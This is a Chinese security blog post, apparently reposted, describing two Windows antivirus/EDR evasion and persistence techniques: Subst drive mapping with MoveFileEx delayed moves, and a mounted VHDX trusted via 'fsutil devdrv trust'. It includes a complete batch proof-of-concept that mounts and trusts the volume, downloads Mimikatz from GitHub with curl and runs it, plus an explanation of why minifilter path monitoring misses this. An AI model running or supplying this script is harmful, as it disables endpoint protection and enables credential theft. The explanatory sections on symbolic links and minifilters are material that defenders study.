文章总结: 本文介绍两种利用Windows对象管理器符号链接特性绕过杀软的技术方案:一是Subst映射启动目录配合MoveFileEx延迟移动及自定义文件关联绕过启动项检测;二是通过diskpart创建VHDX虚拟磁盘挂载为B盘,使用fsutildevdrvtrust命令让杀软信任该卷后直接执行Mimikatz。文章深入分析EDR被绕过的原理,指出EDR监控路径字符串而内核操作设备对象,两者映射关系即攻击空间。 综合评分: 65 文章分类: 红队,免杀,内网渗透,安全工具
从 Subst 到 VHDX,一种设计上绕过杀软的代码执行、过启动项,权限维持方式
原创
老鑫安全 老鑫安全
老鑫安全
2026年9月23日 18:51 日本
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
之前我们分享过一篇利用 Subst 驱动器映射 + MoveFileEx 延迟移动 + 自定义文件关联绕过 360启动项的文章
最近读《Windows Internals 7》看到同一个底层原理的两种不同实现
旧文(Subst 方案):
- 用
Subst把启动目录映射成X:盘 - 把恶意文件写入普通目录
- 用
MoveFileEx(..., MOVEFILE_DELAY_UNTIL_REBOOT)安排重启后移动到X:\Startup - 注册自定义文件关联(如
.nb→wscript.exe)触发执行
新文(VHDX 方案):
- 用
diskpart创建并挂载 VHDX 为B:盘 - 用
fsutil devdrv trust b:让杀软信任该卷 - 把 Mimikatz 下载到
B:盘并执行
@echo offsetlocal enabledelayedexpansiontitle Mimikatz VHDX Bypass POC
:: ==========================================:: 阶段 1: 禁用防御与准备环境:: ==========================================echo [*] Phase 1: Disabling defenses and preparing environment...
:: 尝试开启 DevDrv 功能并禁用杀软(视系统版本和权限而定)fsutil devdrv enablefsutil devdrv enable /disallowAv
:: 创建临时工作目录if not exist "c:\temp\mimi" md "c:\temp\mimi"cd /d "c:\temp\mimi"
:: 生成 diskpart 脚本,创建 10GB 可扩展 VHDX 虚拟磁盘echo create vdisk file="c:\temp\mimi\mimi.vhdx" maximum=10240 type=expandable > diskpart.txtecho select vdisk file="c:\temp\mimi\mimi.vhdx" >> diskpart.txtecho attach vdisk >> diskpart.txtecho create partition primary >> diskpart.txtecho assign letter=b >> diskpart.txtecho exit >> diskpart.txt
:: 执行 diskpart 挂载虚拟磁盘echo [*] Creating and attaching VHDX as Drive B:...diskpart /s "c:\temp\mimi\diskpart.txt"
:: 格式化 B 盘echo [*] Formatting Drive B:...format b: /devdrv /q /y
:: ==========================================:: 阶段 2: 绕过检测 (AV Evasion):: ==========================================echo [*] Phase 2: Bypassing AV filters on Drive B:...
:: 清除针对 B 盘的过滤器并信任该卷fsutil devdrv clearFiltersAllowed b:fsutil devdrv trust b:fsutil devdrv query b:
:: ==========================================:: 阶段 3: 下载与执行 Payload:: ==========================================echo [*] Phase 3: Downloading and executing Mimikatz...
:: 用Mimikatz 测试set "MIMI_URL=https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip"
:: 下载到受信任的 B 盘echo [*] Downloading Mimikatz to B:\mimi.zip...curl -L "%MIMI_URL%" -o b:\mimi.zip
:: 切换到 B 盘并解压b:echo [*] Extracting...tar -xf b:\mimi.zip
:: 进入 x64 目录并执行 Mimikatzcd x64echo [*] Launching Mimikatz...mimikatz.exe
:: 脚本结束,保持窗口打开以便观察echo.echo [*] POC Execution Finished.pause
已关注
关注
重播 分享 赞
关闭
观看更多
更多
退出全屏
切换到竖屏全屏退出全屏
老鑫安全已关注
分享视频
,时长00:27
0/0
00:00/00:27
切换到横屏模式
继续播放
[ ]
进度条,百分之0
播放
00:00
/
00:27
00:27
倍速
全屏
倍速播放中
0.5倍0.75倍1.0倍1.5倍2.0倍
超清流畅
继续观看
从 Subst 到 VHDX,一种设计上绕过杀软的代码执行、过启动项,权限维持方式
观看更多
原创
,
从 Subst 到 VHDX,一种设计上绕过杀软的代码执行、过启动项,权限维持方式
老鑫安全已关注
分享点赞在看
已同步到看一看写下你的评论
视频详情
《Windows Internals 7》不仅是一本参考书,更是红蓝对抗的“兵法”。理解内核对象、符号链接、IRP 处理流程和启动阶段,能帮助防守方看清攻击者的真实意图,也能帮助红队找到更隐蔽的突破口。
攻防之路,始于底层,成于细节。
攻击者的每一个“奇技淫巧”,背后都是对 Windows 底层机制的深刻理解。* *防守者的每一次进化,也都离不开对内核的敬畏
答案在第 10 章“文件系统”和第 3 章“对象管理器”中
核心概念:符号链接(Symbolic Link)与卷挂载
Windows 对象管理器用 符号链接 来管理设备命名空间。我们平时看到的 C:\、D:\ 其实都是符号链接,指向真正的卷设备对象(如 \Device\HarddiskVolume3)。
Subst做的事:创建一个 DOS Device 符号链接,把\??\X:指向\??\C:\SomeFolder。它没有创建新的卷,只是在路径解析层面做了一个“跳转”。- VHDX 挂载做的事:创建一个新的卷设备对象(
\Device\HarddiskVolumeN),然后创建一个符号链接\??\B:指向它。它创建了一个真实的卷。
共同点:两者都在对象管理器的命名空间中“插入”了一个新的路径入口。
EDR 为什么会被绕过?
EDR 的文件监控通常依赖 Minifilter 驱动,挂在 FltMgr 上,通过 IRP_MJ_CREATE、IRP_MJ_WRITE 等回调获取文件操作。
这里的关键在于 路径解析的时机:
- 当进程访问
X:\test.nb时,I/O 管理器需要把X:解析成真实的设备路径。这个解析过程发生在 IRP 下发之前。 - Minifilter 在回调中拿到的
FileObject->FileName或FileObject->RelatedFileObject,可能是解析后的真实路径,也可能是解析前的路径,取决于 EDR 的实现和挂载点位置。 - 如果 EDR 只监控
C:\Users\...\Startup这个字面路径,而攻击者通过X:\Startup访问,EDR 可能根本不会触发告警。
一句话总结:EDR 监控的是“路径字符串”,而 Windows 内核操作的是“设备对象”。两者之间的映射关系,就是攻击者的操作空间。
| 特性 | VHDX + fsutil devdrv | Subst + MoveFileEx |
| — | — | — |
| 核心机制 | 创建虚拟磁盘文件,挂载为独立卷 | 将本地文件夹映射为虚拟驱动器号 |
| 信任机制 | fsutil devdrv trust b: | 修改注册表 DOS Devices 实现持久化 |
| 落地方式 | 直接写入 B 盘并执行 | 写入映射目录,利用 MoveFileEx 延迟移动 |
| EDR 视野 | 文件写入受信任卷 | 文件被“移动”到 Z:\ 盘 |
两者都是利用 Windows 对象管理器(Object Manager)中 符号链接(Symbolic Link) 的特性,让 EDR 的文件过滤驱动在路径解析上产生“错觉”。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:老鑫安全 老鑫安全 老鑫安全《从 Subst 到 VHDX,一种设计上绕过杀软的代码执行、过启动项,权限维持方式》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论